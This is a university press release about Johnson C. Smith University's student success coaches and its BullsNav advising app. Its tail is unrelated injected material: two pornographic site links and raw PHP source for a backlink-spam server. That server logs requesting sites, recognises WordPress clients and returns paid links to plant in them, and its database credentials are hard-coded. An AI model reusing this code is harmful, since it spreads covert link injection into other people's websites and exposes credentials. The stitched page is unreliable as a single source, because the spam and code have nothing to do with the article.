JCSU INSTITUTES NEW STUDENT SUCCESS INITIATIVES TO BENEFIT GOLDEN BULLS

By: Johnson C. Smith University 

Charlotte, N.C./Aug. 21, 2023 – Dr. Angela White, dean of College University and Student Success, hopes to make Johnson C. Smith University a model for holistic, coordinated student care at an HBCU.

In order to accomplish that goal, she has instituted two initiatives that will work hand-in-hand to address student needs both inside and outside of the classroom.

“We have an opportunity to really increase our students’ sense of belonging, which we know is one of the key factors to retaining students,” she said. “Our students come to this institution because they want to maintain the same family feel they have in the communities they’ve come from. We have an opportunity to be an extension of those communities through our student success coach and BullsNav initiatives.”

The first initiative was to hire six new employees who would serve as student success coaches. The coaches, who serve specific student populations, will meet their students beginning their freshman year and will serve as their coach throughout their matriculation at JCSU.

Not only will the student success coaches work alongside academic advisors to ensure students are receiving academic support, they will also work one-on-one with their students to make sure their other needs are met.

These needs can range from food insecurity, mental health crisis, assistance with financial aid clearance and internship applications, among others. White said students tend to drop out of college for a number of reasons, one being challenges of self-regulation.

She said self-regulation includes the ability to learn independently and collaboratively, manage time and ask for help if it is needed. She is positive student success coaches can help students learn strategies to becoming a self-regulated learner. 

“I’ve seen students really be able to navigate their curriculum more effectively when they’ve really been able to hone in on what they need to be successful in their courses and reach their goals outside of the classroom,” said White. “They really bloom as they develop strategies to balance their time and resources. The coaches help them map out a game plan that will result in their students’ success.”

  • Nichole Patterson | College of Business and Professional Studies – Health and Human Performance and Social Work students
  • Bianca Miller | College of Science, Technology, Engineering and Mathematics
  • Chi-Emeke Worthington | Student Athletes
  • Erika Jefferson Rivers | College of Liberal Arts
  • Sha’Derrickah Henderson | Biddle Institute and Undecided Major students
  • Flora Quick | College of Business and Professional Studies – Business and Public Leadership students

But how are six coaches able to provide students with all of this support? White said the key is BullsNav, a platform that will allow the coaches to connect with various support services to get the students the help they need.

Students can download the BullsNav app from Navigate on their phone and easily interact with their success coaches, professors and advisors. New users will need to take an intake survey so the student success coaches can better craft services, programs and events they see as widespread needs across the student body.

Students will also be able to easily pull up their class schedule, which will tell them where their classes are and who their instructor is. White says it will help students find any holes in their account, such as financial clearance, and will allow student success coaches help their students mitigate some of the issues.

On the back end of the platform, success coaches, professors and advisors can cross-communicate to connect the student with other offices to ensure their success.

The BullsNav platform will allow success coaches and other stakeholders to view an academic snapshot of the students’ progress in the classroom and give them the opportunity to make notes about the students’ needs.

“It gives individuals who are a part of that students’ success team the opportunity to see how much or how frequently a student may use different services across campus,” said White. “We can also make recommendations through the platform and set appointments with that student.” 

The Navigate platform serves more than 850 institutions and has a proven record of improving graduation rates by 3 to 15 percent. 

White said that the implementation of the two initiatives is paid for by funding from the Mayor’s Racial Equity Initiative (MREI), an initiative proposed by Charlotte Mayor Vi Lyles in Nov. 2021 with four work streams: bridge the digital divide, invest in corridors of opportunity, catalyze employer commitment and transform JCSU into a top-tier HBCU.

The JCSU workstream surpassed its $80 million fundraising goal in 2022 thanks to the generous support of longtime donors, like the Duke Endowment, and other corporate and private donors.

“This level of investment is very significant,” said White. “HBCUs have a priority for student success, but the level of investment oftentimes doesn’t match the need for realizing that priority. We know these two evidence-based approaches to student success are effective. For our institution, which is very small, to see the value in the investment for our student success coaches and the BullsNav platform, this is monumental.”

Student success coaches began with the incoming freshman class of 2023 and will follow each new incoming class throughout their matriculation. 

According to White, the coaches will focus much of their time on their students in their first year and a half at JCSU. While they will still be available to assist and support students until they graduate, White said that students are typically in need of less support after their sophomore year.   

https://www.fapjunk.com https://pornohit.net
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>